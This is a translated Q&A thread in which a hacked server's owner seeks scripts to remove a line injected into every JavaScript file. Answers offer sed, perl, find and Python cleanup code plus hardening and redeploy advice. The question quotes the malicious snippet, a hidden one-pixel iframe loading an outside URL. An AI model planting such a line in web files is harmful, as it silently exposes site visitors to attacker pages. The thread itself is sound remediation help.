【问题标题】:Best script to modify file contents on server修改服务器上文件内容的最佳脚本
【发布时间】:2011-09-09 17:06:05
【问题描述】:

问题:
我有最近被入侵的网络服务器。他们针对 javascript 文件。他们插入了以下sn-p

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

这被添加到服务器上每个 .js 文件的顶部。

解决方案:
编写一个脚本来打开我服务器上的每个 javascript 文件,检查恶意代码,删除恶意代码,最后保存文件。

问题:
脚本应该用什么编程语言编写?蟒蛇会工作吗?我在我的服务器上运行 python 2.4.3。如果我在 root 下运行 python 脚本,我是否会担心意外更改修改文件的所有者权限?

谢谢

【问题讨论】:

  • 虽然现在作为建议有点晚了:使用版本控制。如果你有,你就可以在黑客攻击前的状态下重新部署你的最新版本。
  • 从备份中恢复,但是你真的很舒服只是修复 .js 文件。如何确定攻击者没有修改任何其他文件或在某处留下后门?

标签: python perl bash scripting sed


【解决方案1】:
sed -i '1d;' *.js

简单,并且会从每个 javascript 文件中删除第一行。

你可以在 python 中更彻底地做到这一点,但你说的是每个 *.js 文件的第一行,不是吗?

更好的是,你可以考虑 perl

python 可以,但 Python 灵魂不是乱码的快速单行 对于这样的事情,您想要一个快速无痛的单线。

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

如果您在命令行运行它,它将匹配任何以 document 开头并包含 lcbmc 的行(包括 \n--new 行)并完全删除该行。请注意,i.bak 会为所有内容创建一个备份文件 .bak。建议您保留它,因为它可能会“搞砸”

然后运行

rm -v *.js.bak

更新

对于每个 cmets,我建议在 *.js 文件的目录中运行 perl 脚本,或者使用 find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

这将:
1.如果你指定了正确的路径
2. 对找到的 ({}) 文件执行 perl one-liner。
3. 逃跑; (\;) 用于将命令串在一起,
4. 所以它会执行

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

等... find support + 的某些版本,您可以在以下问题中观察其行为:find \; VS +

注意:您可以在 find 中使用多个路径。

find /var/www/*.js /home/eric/.apache/*.js

将在 /var/www/ 文件夹和 ~/.apache 文件夹中找到具有 *.js 文件的文件。

【讨论】:

  • 谢谢,这看起来很有希望。但是,当我运行 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js 时,我得到“无法打开 *.js:没有这样的文件或目录”。那么我该如何递归搜索我的“/var/www/vhosts/”文件夹呢?
  • @Eric:您可以将我回答中的 find ... | xargs --null ... 构造与上面的 Perl 调用结合起来。 (您也可以直接使用我的答案中的代码。)
  • @Eric,我会回应 find 的使用,并将相应地修改我的答案。
  • Eric 询问如何递归搜索目录树。您使用find 的方式不会递归搜索——它让shell 仅在您列出的目录中展开.js 文件,而不是在子目录中。此外,-exec 将为每个单个文件创建一个单独的 Perl 进程,而我的 xargs 方法会将整批文件名传递给单个进程,这样效率更高。后一点并不那么重要,但前一点大大降低了这个答案的有用性,-1。
  • 前一点被接受,我会根据你的建议修改我的答案。然而,根据我提到的\,后一点是名义上的; vs \+ 或建议他实际上从他的脚本目录运行命令。
【解决方案2】:

Bash 可能是最简单的。代码可能类似于

bad_code="document\\.write('<iframe src=\"http:\\/\\/lcbmc\\.co\\.uk\\/showthread\\.php?t=31540750\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>')"
find /var/www -name "*.js" -print0 | xargs --null sed -i.bak "/${bad_code}/d"

这将删除包含所提及代码的所有(完整)行。

编辑:现在已修复引用。

【讨论】:

  • 这对我来说是挂着的,不会执行。当我尝试 sed -i.bak "/${bad_code}/d" testfile.js 没有正确执行。也许报价已关闭?
  • 但是,使用 sed -i.bak '/^document.*lcbmc.*/d' testFile.js 确实有效,也许不用担心引用?您可能只针对其中包含 lcbmc 的任何内容。
  • @matchew:我昨天用egrep 测试了引用——为什么用sed 测试不方便是有原因的。显然,他们不会以相同的方式对待引用 - 现在已修复。想知道为什么它挂在你身上,不知道。它应该什么也没做。当然,您简化正则表达式而不是尝试获取整个字符串的完全匹配的方法更加实用。 :)
【解决方案3】:

脚本应该用什么编程语言编写?

不重要。

python 会工作吗?

是的。

如果我在 root 下运行 python 脚本,我是否会担心意外更改修改文件的所有者权限?

没有。不是“偶然”。如果您的编码工作非常糟糕,您可以更改它们。


import os
import shutil
for path, dirs, files in os.walk( "some/root/dir" ):
    for f in files:
        name, ext = os.path.splitext( f )
        if ext == '.js':
            js= os.path.join( path, f )
            bak= js+"#"
            os.rename( js, bak )
            with open(bak,"r") as source:
                with open(js,"w") as target:
                    for line in source:
                        if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                            continue
                        target.write( line )

类似的东西应该(或多或少)起作用。

如果您需要设置权限或所有权,有os模块功能允许设置文件用户、组和权限。

【讨论】:

  • 该脚本运行良好!不过,我只需要升级到 python26。起初我在“打开”时遇到错误。非常感谢!
【解决方案4】:

我建议您使用与网络服务器或 FastCGI 执行环境不同的 Unix 用户帐户来存储您的网站 content代码

因为您的网络服务器有权写入这些文件,所以它们可以按照攻击者的意愿被覆盖。如果 Web 服务器除了它的日志文件和数据库套接字之外没有任何东西的写权限,它们就不会持续损害你的网站,它们只能破坏你的数据库或读取它的内容。重新启动服务器,他们的 hack 就消失了。

(当然,如果他们通过不同的机制侵入您的系统,例如猜测帐户密码,则不同的用户可能无法阻止任何恶作剧。您确实保留您的 ssh 密钥保护得很好,对吧?)

我还想建议,简单的修改可能是留下的那些故意容易修复,为不容易找到或修复的修改或后门提供掩护容易再次感染。从已知良好的存储中重新部署您的整个站点是一个比尝试修补被黑的安装更好的解决方案。

【讨论】:

    猜你喜欢
    • 2017-05-22
    • 2011-10-26
    • 2013-02-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多